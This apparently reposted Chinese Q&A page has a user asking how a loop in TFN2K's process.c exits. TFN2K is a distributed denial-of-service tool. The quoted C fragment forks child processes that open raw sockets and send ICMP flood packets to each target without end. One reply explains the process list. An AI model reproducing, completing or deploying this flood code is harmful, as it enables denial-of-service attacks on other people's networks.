关于网友提出的“ 有关攻击工具tfn2k中processc的一个循环----linux下gcc网络编程方面”问题疑问,本网通过在网上对“ 有关攻击工具tfn2k中processc的一个循环----linux下gcc网络编程方面”有关的相关答案进行了整理,供用户进行参考,详细问题解答如下:
问题: 有关攻击工具tfn2k中processc的一个循环----linux下gcc网络编程方面
描述: 大家好,以下一段代码是从tfn2k的process.c中一个循环,于157行,注释是我自己加上的,我所不明白的是后面的该程序如何退出循环?
另外,创建子进程和后面的代码有何关系?请熟悉linux编程并有网络安全基础的朋友解答一下。
while ((parse != NULL) && (i++ < CHLD_MAX))
{
resolved = resolve (parse);/*本函数定义于ip.c的18行,解释IP*/
p = fork ();/*创建子进程*/
if (!p)
{
rawsock = socket(AF_INET, SOCK_RAW, RAW);/*rawsock为外部定义的变量,此处修改,相当于全局变量*/
if (rawsock < 0)
rawsock = socket (AF_INET, SOCK_RAW, ICMP);
/*设置套接字的属性*/
setsockopt (rawsock, IP, IP_HDRINCL, "1", sizeof ("1"));/*IP_HDRINCL表在数据包中包含IP首部*/
if (resolved == -1)/*解析IP失败*/
exit (0);
while (1) /*此处为不断地发送ICMP攻击包*/
icmp (resolved, 0);/*icmp()函数定义于flood.c的102行,其内容不循环,只是填充一个icmp数据包并调用sendto函数发送出去*/
}
#ifdef ATTACKLOG
{
char tmpbuf[100];
sprintf (tmpbuf, "PID %d forking (#%d), child (%d) attacks %s, ICMP\n"
,getpid (), i, p, parse);
dbug (tmpbuf);
}
#endif
pid[i] = p;
parse = strtok (NULL, DELIMITER);
}
解决方案1:
pid[i] = p; 这句就是维护一个进程列表,上面的while就是一个最大进程数的处理,进入循环后,立即生产一个子进程进行发送;接收我想应该是由其他线程或者进程来处理的。接收到消息处理后,结束相应的子进程。
以上介绍了“ 有关攻击工具tfn2k中processc的一个循环----linux下gcc网络编程方面”的问题解答,希望对有需要的网友有所帮助。
本文网址链接:http://www.codes51.com/itwd/3114701.html